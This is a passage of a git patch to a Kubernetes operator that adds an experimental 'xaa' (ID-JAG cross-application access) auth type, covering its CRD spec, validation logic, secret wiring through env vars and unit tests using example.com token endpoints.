on the VirtualMCPServer CRD, both documented as EXPERIMENTAL since ID-JAG (draft-ietf-oauth-identity-assertion-authz-grant) is not yet a standard. - Add a converter that maps the CRD spec to the runtime XAAConfig and register it with the auth converter registry. - Wire XAA IdP/target client secrets through env vars in inline (externalAuthConfigRef) mode, mirroring tokenExchange, so confidential-client XAA configs work outside discovered mode. - Add an optional SubjectTokenType field defaulting to the id_token URN, with CRD validation restricting it to a single allowed value for now so SAML upstream support can be added later without an API break. - Auto-populate SubjectProviderName for XAA on the operator reconcile path, matching token_exchange and aws_sts. - Validate XAA strategies in the vMCP config validator, add an HTTPS pattern to idpTokenUrl, and warn at wire-up on unauthenticated Step B or plain-HTTP target token URLs. - Relax targetResource to optional per ID-JAG draft section 4.3 (RFC 8707 resource is OPTIONAL) and correct its documentation. - Consolidate the duplicated first-upstream-provider resolution into authserver.ResolveFirstUpstreamName. Closes #5681 Co-authored-by: Claude Opus 4.8 --- .../v1beta1/mcpexternalauthconfig_types.go | 186 +++++-- .../mcpexternalauthconfig_types_test.go | 55 ++ .../api/v1beta1/zz_generated.deepcopy.go | 35 ++ .../mcpexternalauthconfig_controller.go | 2 + .../virtualmcpserver_controller.go | 37 +- .../virtualmcpserver_deployment.go | 35 ++ .../virtualmcpserver_externalauth_test.go | 256 ++++++++++ .../pkg/controllerutil/externalauth.go | 24 + .../pkg/controllerutil/tokenexchange.go | 3 + .../pkg/controllerutil/tokenexchange_test.go | 3 +- ...e.stacklok.dev_mcpexternalauthconfigs.yaml | 240 ++++++++- ...olhive.stacklok.dev_virtualmcpservers.yaml | 48 +- ...e.stacklok.dev_mcpexternalauthconfigs.yaml | 240 ++++++++- ...olhive.stacklok.dev_virtualmcpservers.yaml | 48 +- docs/operator/crd-api.md | 53 +- pkg/authserver/config.go | 11 + pkg/runner/middleware.go | 26 +- pkg/vmcp/auth/converters/interface.go | 1 + pkg/vmcp/auth/converters/registry_test.go | 11 + pkg/vmcp/auth/converters/secrets.go | 40 ++ pkg/vmcp/auth/converters/xaa.go | 92 ++++ pkg/vmcp/auth/converters/xaa_test.go | 468 ++++++++++++++++++ pkg/vmcp/auth/strategies/xaa.go | 31 +- pkg/vmcp/auth/types/types.go | 6 + pkg/vmcp/config/defaults.go | 16 +- pkg/vmcp/config/validator.go | 18 + pkg/vmcp/config/validator_test.go | 119 +++++ 27 files changed, 1960 insertions(+), 144 deletions(-) create mode 100644 pkg/vmcp/auth/converters/secrets.go create mode 100644 pkg/vmcp/auth/converters/xaa.go create mode 100644 pkg/vmcp/auth/converters/xaa_test.go diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go index 46d422a736..90078d0d52 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go @@ -37,7 +37,7 @@ const ( ExternalAuthTypeAWSSts ExternalAuthType = "awsSts" // ExternalAuthTypeUpstreamInject is the type for upstream token injection - // This injects an upstream IDP access token as the Authorization: Bearer header + // This injects an upstream IdP access token as the Authorization: Bearer header ExternalAuthTypeUpstreamInject ExternalAuthType = "upstreamInject" // ExternalAuthTypeOBO is the type for on-behalf-of (OBO) flows. @@ -46,6 +46,12 @@ const ( // status.conditions[Valid] = False with Reason: EnterpriseRequired // when an obo-typed MCPExternalAuthConfig is applied. ExternalAuthTypeOBO ExternalAuthType = "obo" + + // ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth. + // XAA performs a two-step token exchange to obtain access tokens for target services: + // - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + // - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + ExternalAuthTypeXAA ExternalAuthType = "xaa" ) // ExternalAuthType represents the type of external authentication @@ -62,7 +68,8 @@ type ExternalAuthType string // +kubebuilder:validation:XValidation:rule="self.type == 'awsSts' ? has(self.awsSts) : !has(self.awsSts)",message="awsSts configuration must be set if and only if type is 'awsSts'" // +kubebuilder:validation:XValidation:rule="self.type == 'upstreamInject' ? has(self.upstreamInject) : !has(self.upstreamInject)",message="upstreamInject configuration must be set if and only if type is 'upstreamInject'" // +kubebuilder:validation:XValidation:rule="self.type == 'obo' ? has(self.obo) : !has(self.obo)",message="obo configuration must be set if and only if type is 'obo'" -// +kubebuilder:validation:XValidation:rule="self.type == 'unauthenticated' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo)) : true",message="no configuration must be set when type is 'unauthenticated'" +// +kubebuilder:validation:XValidation:rule="self.type == 'xaa' ? has(self.xaa) : !has(self.xaa)",message="xaa configuration must be set if and only if type is 'xaa'" +// +kubebuilder:validation:XValidation:rule="self.type == 'unauthenticated' ? (!has(self.tokenExchange) && !has(self.headerInjection) && !has(self.bearerToken) && !has(self.embeddedAuthServer) && !has(self.awsSts) && !has(self.upstreamInject) && !has(self.obo) && !has(self.xaa)) : true",message="no configuration must be set when type is 'unauthenticated'" // //nolint:lll // CEL validation rules exceed line length limit type MCPExternalAuthConfigSpec struct { @@ -71,7 +78,7 @@ type MCPExternalAuthConfigSpec struct { // OBO handler via controllerutil.RegisterOBOHandler; upstream-only builds // surface status.conditions[Valid] = False with Reason: EnterpriseRequired // for obo-typed configs. - // +kubebuilder:validation:Enum=tokenExchange;headerInjection;bearerToken;unauthenticated;embeddedAuthServer;awsSts;upstreamInject;obo + // +kubebuilder:validation:Enum=tokenExchange;headerInjection;bearerToken;unauthenticated;embeddedAuthServer;awsSts;upstreamInject;obo;xaa // +kubebuilder:validation:Required Type ExternalAuthType `json:"type"` @@ -113,6 +120,11 @@ type MCPExternalAuthConfigSpec struct { // contract mapping. // +optional OBO *OBOConfig `json:"obo,omitempty"` + + // XAA configures XAA (Cross-Application Access) auth for backend requests. + // Only used when Type is "xaa". + // +optional + XAA *XAASpec `json:"xaa,omitempty"` } // OBOConfig holds configuration for the On-Behalf-Of (OBO) external auth type. @@ -588,7 +600,7 @@ type OIDCUpstreamConfig struct { // +kubebuilder:validation:Pattern=`^https://.*$` IssuerURL string `json:"issuerUrl"` - // ClientID is the OAuth 2.0 client identifier registered with the upstream IDP. + // ClientID is the OAuth 2.0 client identifier registered with the upstream IdP. // +kubebuilder:validation:Required ClientID string `json:"clientId"` @@ -597,13 +609,13 @@ type OIDCUpstreamConfig struct { // +optional ClientSecretRef *SecretKeyRef `json:"clientSecretRef,omitempty"` - // RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + // RedirectURI is the callback URL where the upstream IdP will redirect after authentication. // When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the // URL associated with the resource (e.g., MCPServer or vMCP) using this config. // +optional RedirectURI string `json:"redirectUri,omitempty"` - // Scopes are the OAuth scopes to request from the upstream IDP. + // Scopes are the OAuth scopes to request from the upstream IdP. // If not specified, defaults to ["openid", "offline_access"]. // When using additionalAuthorizationParams with provider-specific refresh token // mechanisms (e.g., Google's access_type=offline), set explicit scopes to avoid @@ -726,13 +738,13 @@ type OAuth2UpstreamConfig struct { // +optional ClientSecretRef *SecretKeyRef `json:"clientSecretRef,omitempty"` - // RedirectURI is the callback URL where the upstream IDP will redirect after authentication. + // RedirectURI is the callback URL where the upstream IdP will redirect after authentication. // When not specified, defaults to `{resourceUrl}/oauth/callback` where `resourceUrl` is the // URL associated with the resource (e.g., MCPServer or vMCP) using this config. // +optional RedirectURI string `json:"redirectUri,omitempty"` - // Scopes are the OAuth scopes to request from the upstream IDP. + // Scopes are the OAuth scopes to request from the upstream IdP. // +listType=atomic // +optional Scopes []string `json:"scopes,omitempty"` @@ -1266,10 +1278,10 @@ type RoleMapping struct { } // UpstreamInjectSpec holds configuration for upstream token injection. -// This strategy injects an upstream IDP access token obtained by the embedded +// This strategy injects an upstream IdP access token obtained by the embedded // authorization server into backend requests as the Authorization: Bearer header. type UpstreamInjectSpec struct { - // ProviderName is the name of the upstream IDP provider whose access token + // ProviderName is the name of the upstream IdP provider whose access token // should be injected as the Authorization: Bearer header. // +kubebuilder:validation:Required // +kubebuilder:validation:MinLength=1 @@ -1319,6 +1331,81 @@ const ( ConditionReasonInvalidConfig = "InvalidConfig" ) +// XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. +// XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a +// two-step token exchange to obtain access tokens for target services: +// - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT +// - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token +type XAASpec struct { + // IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + // Must be a valid HTTPS URL. + // +kubebuilder:validation:Required + // +kubebuilder:validation:Pattern=`^https://.*$` + IDPTokenURL string `json:"idpTokenUrl"` + + // IDPClientID is the OAuth client ID at the IdP for Step A. + // +optional + IDPClientID string `json:"idpClientId,omitempty"` + + // IDPClientSecretRef references a Kubernetes Secret containing the IdP client secret. + // +optional + IDPClientSecretRef *SecretKeyRef `json:"idpClientSecretRef,omitempty"` + + // TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). + // +kubebuilder:validation:Required + TargetTokenURL string `json:"targetTokenUrl"` + + // InsecureTargetTokenURL allows plain HTTP for TargetTokenURL. + // WARNING: this is insecure and must only be set for in-cluster or + // development/testing endpoints — never in production. + // +optional + InsecureTargetTokenURL bool `json:"insecureTargetTokenUrl,omitempty"` + + // TargetClientID is the OAuth client ID at the target AS for Step B. + // ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + // conformant target authorization servers will reject an unauthenticated + // JWT-bearer grant per the §4.4.1 client_id continuity requirement. + // +optional + TargetClientID string `json:"targetClientId,omitempty"` + + // TargetClientSecretRef references a Kubernetes Secret for the target AS client secret. + // +optional + TargetClientSecretRef *SecretKeyRef `json:"targetClientSecretRef,omitempty"` + + // TargetAudience is the resource AS URL for the ID-JAG audience claim. + // +kubebuilder:validation:Required + TargetAudience string `json:"targetAudience"` + + // TargetResource is the RFC 8707 resource indicator sent as the `resource` + // parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + // identifies the target resource server — not the access-token audience, which + // is governed by TargetAudience. For MCP backends, set to the MCP server URL. + // Some authorization servers (e.g. Okta's early ID-JAG implementation) require + // this parameter in practice despite the draft marking it optional — set it + // when your IdP needs it. + // +optional + TargetResource string `json:"targetResource,omitempty"` + + // Scopes are the requested scopes for the XAA exchange (Steps A and B). + // +listType=atomic + // +optional + Scopes []string `json:"scopes,omitempty"` + + // SubjectProviderName selects which upstream provider's ID token to use. + // When left empty and an embedded authorization server is configured, + // the controller automatically populates this field with the first configured + // upstream provider name. + // +optional + SubjectProviderName string `json:"subjectProviderName,omitempty"` + + // SubjectTokenType is the token-type URN of the upstream subject token + // used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + // when empty. + // +kubebuilder:validation:Enum="urn:ietf:params:oauth:token-type:id_token" + // +optional + SubjectTokenType string `json:"subjectTokenType,omitempty"` +} + // MCPExternalAuthConfigStatus defines the observed state of MCPExternalAuthConfig type MCPExternalAuthConfigStatus struct { // Conditions represent the latest available observations of the MCPExternalAuthConfig's state @@ -1407,6 +1494,11 @@ func (r *MCPExternalAuthConfig) Validate() error { return fmt.Errorf("upstreamInject requires a non-empty providerName") } return nil + case ExternalAuthTypeXAA: + if r.Spec.XAA == nil { + return fmt.Errorf("xaa requires configuration") + } + return nil case ExternalAuthTypeTokenExchange, ExternalAuthTypeHeaderInjection, ExternalAuthTypeBearerToken, @@ -1442,60 +1534,58 @@ func (r *MCPExternalAuthConfig) Validate() error { } } +// typeConfigEntry maps an ExternalAuthType to its corresponding config field presence check. +type typeConfigEntry struct { + authType ExternalAuthType + fieldName string + isSet bool +} + // validateTypeConfigConsistency validates that the correct config is set for the selected type. // This mirrors the CEL validation rules but provides defense-in-depth for stored objects. -// The per-type `if` shape is intentional: each row reads one-to-one against -// the corresponding CEL XValidation rule on the spec, so a reviewer can -// audit the structural-validation contract by skimming this function. -// -// The gocyclo suppression is a confirmed false positive: every new -// ExternalAuthType adds one biconditional row and one disjunct to the -// unauthenticated guard, which the analyzer counts as branches even though -// the rows are syntactically uniform. Collapsing the rows into a -// table-driven loop would reduce the score but obscure the one-to-one -// correspondence with the CEL rules on MCPExternalAuthConfigSpec, which is -// the property reviewers rely on to audit the structural-validation -// contract. See issue #5329 for the broader discussion. // -//nolint:gocyclo // one if per ExternalAuthType mirrors CEL rules; collapsing would obscure parity — see doc comment +// Each ExternalAuthType with a config sub-field is one row in the typeConfigEntry +// table, checked by a uniform biconditional in the loop below ("config set iff +// type matches"). OBO is checked separately because its handler is registered +// out-of-tree; the unauthenticated guard then asserts no config is set for the +// unauthenticated type. Each row still maps one-to-one onto the corresponding +// CEL XValidation rule on MCPExternalAuthConfigSpec, so a reviewer can audit the +// structural-validation contract by comparing the table against the markers. +// See issue #5329 for the broader discussion. func (r *MCPExternalAuthConfig) validateTypeConfigConsistency() error { - // Check that each type has its corresponding config - if (r.Spec.TokenExchange == nil) == (r.Spec.Type == ExternalAuthTypeTokenExchange) { - return fmt.Errorf("tokenExchange configuration must be set if and only if type is 'tokenExchange'") - } - if (r.Spec.HeaderInjection == nil) == (r.Spec.Type == ExternalAuthTypeHeaderInjection) { - return fmt.Errorf("headerInjection configuration must be set if and only if type is 'headerInjection'") - } - if (r.Spec.BearerToken == nil) == (r.Spec.Type == ExternalAuthTypeBearerToken) { - return fmt.Errorf("bearerToken configuration must be set if and only if type is 'bearerToken'") - } - if (r.Spec.EmbeddedAuthServer == nil) == (r.Spec.Type == ExternalAuthTypeEmbeddedAuthServer) { - return fmt.Errorf("embeddedAuthServer configuration must be set if and only if type is 'embeddedAuthServer'") - } - if (r.Spec.AWSSts == nil) == (r.Spec.Type == ExternalAuthTypeAWSSts) { - return fmt.Errorf("awsSts configuration must be set if and only if type is 'awsSts'") - } - if (r.Spec.UpstreamInject == nil) == (r.Spec.Type == ExternalAuthTypeUpstreamInject) { - return fmt.Errorf("upstreamInject configuration must be set if and only if type is 'upstreamInject'") + entries := []typeConfigEntry{ + {ExternalAuthTypeTokenExchange, "tokenExchange", r.Spec.TokenExchange != nil}, + {ExternalAuthTypeHeaderInjection, "headerInjection", r.Spec.HeaderInjection != nil}, + {ExternalAuthTypeBearerToken, "bearerToken", r.Spec.BearerToken != nil}, + {ExternalAuthTypeEmbeddedAuthServer, "embeddedAuthServer", r.Spec.EmbeddedAuthServer != nil}, + {ExternalAuthTypeAWSSts, "awsSts", r.Spec.AWSSts != nil}, + {ExternalAuthTypeUpstreamInject, "upstreamInject", r.Spec.UpstreamInject != nil}, + {ExternalAuthTypeXAA, "xaa", r.Spec.XAA != nil}, } if (r.Spec.OBO == nil) == (r.Spec.Type == ExternalAuthTypeOBO) { return fmt.Errorf("obo configuration must be set if and only if type is 'obo'") } + for _, e := range entries { + wantSet := r.Spec.Type == e.authType + if e.isSet != wantSet { + return fmt.Errorf("%s configuration must be set if and only if type is '%s'", e.fieldName, e.authType) + } + } + // Redundant with the per-type biconditionals above — each fires first for // Type=Unauthenticated with any non-nil field — but retained as a single // readable invariant so a contributor adding a new ExternalAuthType extends // the "no configuration must be set" check here too. if r.Spec.Type == ExternalAuthTypeUnauthenticated { - if r.Spec.TokenExchange != nil || - r.Spec.HeaderInjection != nil || - r.Spec.BearerToken != nil || - r.Spec.EmbeddedAuthServer != nil || - r.Spec.AWSSts != nil || - r.Spec.UpstreamInject != nil || - r.Spec.OBO != nil { + if r.Spec.OBO != nil { return fmt.Errorf("no configuration must be set when type is 'unauthenticated'") } + for _, e := range entries { + if e.isSet { + return fmt.Errorf("no configuration must be set when type is 'unauthenticated'") + } + } } return nil diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go index 37bb553d41..ac22cd92f0 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types_test.go @@ -294,6 +294,25 @@ func TestMCPExternalAuthConfig_Validate(t *testing.T) { }, expectErr: false, }, + { + name: "valid xaa type", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeXAA, + XAA: &XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + expectErr: false, + }, { // Go Validate() intentionally does NOT check OBOConfig fields: the // required-field, pattern, and "at least one of audience or scopes" @@ -363,6 +382,42 @@ func TestMCPExternalAuthConfig_Validate(t *testing.T) { expectErr: true, errMsg: "obo configuration must be set if and only if type is 'obo'", }, + { + name: "invalid xaa with nil spec", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa-nil", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeXAA, + XAA: nil, + }, + }, + expectErr: true, + errMsg: "xaa configuration must be set if and only if type is 'xaa'", + }, + { + name: "invalid xaa config set on non-xaa type", + config: &MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "test-xaa-on-tokenexchange", + Namespace: "default", + }, + Spec: MCPExternalAuthConfigSpec{ + Type: ExternalAuthTypeTokenExchange, + TokenExchange: &TokenExchangeConfig{TokenURL: "https://example.com/token"}, + XAA: &XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + expectErr: true, + errMsg: "xaa configuration must be set if and only if type is 'xaa'", + }, { name: "invalid OIDC provider with oauth2Config instead", config: &MCPExternalAuthConfig{ diff --git a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go index 9704dd666c..11c837f56c 100644 --- a/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go +++ b/cmd/thv-operator/api/v1beta1/zz_generated.deepcopy.go @@ -913,6 +913,11 @@ func (in *MCPExternalAuthConfigSpec) DeepCopyInto(out *MCPExternalAuthConfigSpec *out = new(OBOConfig) (*in).DeepCopyInto(*out) } + if in.XAA != nil { + in, out := &in.XAA, &out.XAA + *out = new(XAASpec) + (*in).DeepCopyInto(*out) + } } // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MCPExternalAuthConfigSpec. @@ -3394,3 +3399,33 @@ func (in *WorkloadReference) DeepCopy() *WorkloadReference { in.DeepCopyInto(out) return out } + +// DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. +func (in *XAASpec) DeepCopyInto(out *XAASpec) { + *out = *in + if in.IDPClientSecretRef != nil { + in, out := &in.IDPClientSecretRef, &out.IDPClientSecretRef + *out = new(SecretKeyRef) + **out = **in + } + if in.TargetClientSecretRef != nil { + in, out := &in.TargetClientSecretRef, &out.TargetClientSecretRef + *out = new(SecretKeyRef) + **out = **in + } + if in.Scopes != nil { + in, out := &in.Scopes, &out.Scopes + *out = make([]string, len(*in)) + copy(*out, *in) + } +} + +// DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new XAASpec. +func (in *XAASpec) DeepCopy() *XAASpec { + if in == nil { + return nil + } + out := new(XAASpec) + in.DeepCopyInto(out) + return out +} diff --git a/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go b/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go index efb31ee0b8..35e2c95307 100644 --- a/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go +++ b/cmd/thv-operator/controllers/mcpexternalauthconfig_controller.go @@ -57,6 +57,8 @@ type MCPExternalAuthConfigReconciler struct { // Reconcile is part of the main kubernetes reconciliation loop which aims to // move the current state of the cluster closer to the desired state. +// +//nolint:gocyclo // dispatches across all auth types + status conditions; refactoring tracked separately func (r *MCPExternalAuthConfigReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) { logger := log.FromContext(ctx) diff --git a/cmd/thv-operator/controllers/virtualmcpserver_controller.go b/cmd/thv-operator/controllers/virtualmcpserver_controller.go index 9080096b65..3eb530a047 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_controller.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_controller.go @@ -2216,6 +2216,14 @@ func (*VirtualMCPServerReconciler) convertExternalAuthConfigToStrategy( externalAuthConfig.Spec.HeaderInjection.ValueSecretRef != nil { strategy.HeaderInjection.HeaderValueEnv = ctrlutil.GenerateUniqueHeaderInjectionEnvVarName(externalAuthConfig.Name) } + if strategy.XAA != nil && externalAuthConfig.Spec.XAA != nil { + if externalAuthConfig.Spec.XAA.IDPClientSecretRef != nil { + strategy.XAA.IDPClientSecretEnv = ctrlutil.GenerateUniqueXAAIDPSecretEnvVarName(externalAuthConfig.Name) + } + if externalAuthConfig.Spec.XAA.TargetClientSecretRef != nil { + strategy.XAA.TargetClientSecretEnv = ctrlutil.GenerateUniqueXAATargetSecretEnvVarName(externalAuthConfig.Name) + } + } return strategy, nil } @@ -2511,12 +2519,13 @@ func (r *VirtualMCPServerReconciler) buildOutgoingAuthConfig( } // injectSubjectProviderIfNeeded auto-populates the upstream provider name on -// token_exchange and aws_sts strategies when the field is empty and an embedded -// auth server is configured on the VirtualMCPServer. -// Both strategies use SubjectProviderName for the same concept: which upstream -// provider's token to pull from Identity.UpstreamTokens. Mirrors +// token_exchange, aws_sts, and xaa strategies when the field is empty and an +// embedded auth server is configured on the VirtualMCPServer. +// All three strategies use SubjectProviderName for the same concept: which +// upstream provider's token to pull from Identity.UpstreamTokens. Mirrors // injectUpstreamProviderIfNeeded in pkg/runner/middleware.go, which does the -// same for Cedar's PrimaryUpstreamProvider. +// same for Cedar's PrimaryUpstreamProvider, and InjectSubjectProviderNames in +// pkg/vmcp/config/defaults.go, which applies the same defaulting at serve time. // Returns strategy unchanged when it is nil, not an applicable strategy type, // already has the provider name set, or no embedded auth server is configured. func injectSubjectProviderIfNeeded( @@ -2550,6 +2559,17 @@ func injectSubjectProviderIfNeeded( copied.AwsSts = &stsCopied return &copied + case authtypes.StrategyTypeXAA: + if strategy.XAA == nil || strategy.XAA.SubjectProviderName != "" { + return strategy + } + providerName := resolveFirstUpstreamProvider(embeddedCfg) + copied := *strategy + xaaCopied := *strategy.XAA + xaaCopied.SubjectProviderName = providerName + copied.XAA = &xaaCopied + return &copied + default: return strategy } @@ -2559,10 +2579,11 @@ func injectSubjectProviderIfNeeded( // provider configured on the embedded auth server, or the default name if none // are configured. func resolveFirstUpstreamProvider(embeddedCfg *mcpv1beta1.EmbeddedAuthServerConfig) string { - if len(embeddedCfg.UpstreamProviders) > 0 { - return authserver.ResolveUpstreamName(embeddedCfg.UpstreamProviders[0].Name) + names := make([]string, len(embeddedCfg.UpstreamProviders)) + for i, p := range embeddedCfg.UpstreamProviders { + names[i] = p.Name } - return authserver.DefaultUpstreamName + return authserver.ResolveFirstUpstreamName(names) } // convertBackendsToStaticBackends converts Backend objects to StaticBackendConfig for ConfigMap embedding. diff --git a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go index c32dd03013..ed54e436c5 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_deployment.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_deployment.go @@ -872,6 +872,9 @@ func (r *VirtualMCPServerReconciler) getExternalAuthConfigSecretEnvVars( // masked as a no-op. return ctrlutil.OBOSecretEnvVars(externalAuthConfig) + case mcpv1beta1.ExternalAuthTypeXAA: + return xaaSecretEnvVars(externalAuthConfig, externalAuthConfigName), nil + default: return nil, nil // Not applicable } @@ -889,6 +892,38 @@ func (r *VirtualMCPServerReconciler) getExternalAuthConfigSecretEnvVars( }}, nil } +// xaaSecretEnvVars returns the env vars needed to mount XAA client secrets into +// the vMCP pod. Returns nil when the XAA spec is absent or has no secret refs. +func xaaSecretEnvVars(externalAuthConfig *mcpv1beta1.MCPExternalAuthConfig, configName string) []corev1.EnvVar { + if externalAuthConfig.Spec.XAA == nil { + return nil + } + var envVars []corev1.EnvVar + if ref := externalAuthConfig.Spec.XAA.IDPClientSecretRef; ref != nil { + envVars = append(envVars, corev1.EnvVar{ + Name: ctrlutil.GenerateUniqueXAAIDPSecretEnvVarName(configName), + ValueFrom: &corev1.EnvVarSource{ + SecretKeyRef: &corev1.SecretKeySelector{ + LocalObjectReference: corev1.LocalObjectReference{Name: ref.Name}, + Key: ref.Key, + }, + }, + }) + } + if ref := externalAuthConfig.Spec.XAA.TargetClientSecretRef; ref != nil { + envVars = append(envVars, corev1.EnvVar{ + Name: ctrlutil.GenerateUniqueXAATargetSecretEnvVarName(configName), + ValueFrom: &corev1.EnvVarSource{ + SecretKeyRef: &corev1.SecretKeySelector{ + LocalObjectReference: corev1.LocalObjectReference{Name: ref.Name}, + Key: ref.Key, + }, + }, + }) + } + return envVars +} + // buildDeploymentMetadataForVmcp builds deployment-level labels and annotations func (r *VirtualMCPServerReconciler) buildDeploymentMetadataForVmcp( baseLabels map[string]string, diff --git a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go index 13c98c525e..037ba2e1d8 100644 --- a/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go +++ b/cmd/thv-operator/controllers/virtualmcpserver_externalauth_test.go @@ -163,6 +163,96 @@ func TestConvertExternalAuthConfigToStrategy(t *testing.T) { assert.Empty(t, strategy.HeaderInjection.HeaderValue, "HeaderValue should not be set (secrets via env vars)") }, }, + { + name: "xaa with both secret refs sets env var names", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-auth", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetClientID: "target-client", + TargetClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "target-secret", + Key: "client-secret", + }, + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + assert.Equal(t, authtypes.StrategyTypeXAA, strategy.Type) + require.NotNil(t, strategy.XAA) + assert.Equal(t, "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_AUTH", strategy.XAA.IDPClientSecretEnv) + assert.Equal(t, "TOOLHIVE_XAA_TARGET_CLIENT_SECRET_XAA_AUTH", strategy.XAA.TargetClientSecretEnv) + assert.Empty(t, strategy.XAA.IDPClientSecret, "IDPClientSecret should not be set (secrets via env vars)") + assert.Empty(t, strategy.XAA.TargetClientSecret, "TargetClientSecret should not be set (secrets via env vars)") + }, + }, + { + name: "xaa with only idp secret ref", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-idp-only", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + IDPClientID: "idp-client", + IDPClientSecretRef: &mcpv1beta1.SecretKeyRef{ + Name: "idp-secret", + Key: "client-secret", + }, + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + require.NotNil(t, strategy.XAA) + assert.Equal(t, "TOOLHIVE_XAA_IDP_CLIENT_SECRET_XAA_IDP_ONLY", strategy.XAA.IDPClientSecretEnv) + assert.Empty(t, strategy.XAA.TargetClientSecretEnv) + }, + }, + { + name: "xaa with no secret refs leaves env vars empty", + externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ + ObjectMeta: metav1.ObjectMeta{ + Name: "xaa-no-secrets", + Namespace: "default", + }, + Spec: mcpv1beta1.MCPExternalAuthConfigSpec{ + Type: mcpv1beta1.ExternalAuthTypeXAA, + XAA: &mcpv1beta1.XAASpec{ + IDPTokenURL: "https://idp.example.com/token", + TargetTokenURL: "https://target.example.com/token", + TargetAudience: "https://target.example.com", + TargetResource: "https://mcp.example.com", + }, + }, + }, + validate: func(t *testing.T, strategy *authtypes.BackendAuthStrategy) { + t.Helper() + require.NotNil(t, strategy.XAA) + assert.Empty(t, strategy.XAA.IDPClientSecretEnv) + assert.Empty(t, strategy.XAA.TargetClientSecretEnv) + }, + }, { name: "unsupported auth type", externalAuthConfig: &mcpv1beta1.MCPExternalAuthConfig{ @@ -1056,6 +1146,20 @@ func tokenExchangeStrategy(subjectProviderName string) *authtypes.BackendAuthStr } } +// xaaStrategy returns a minimal xaa BackendAuthStrategy for tests. +func xaaStrategy(subjectProviderName string) *authtypes.BackendAuthStrategy { + return &authtypes.BackendAuthStrategy{ + Type: authtypes.StrategyTypeXAA, + XAA: &authtypes.XAAConfig{ + 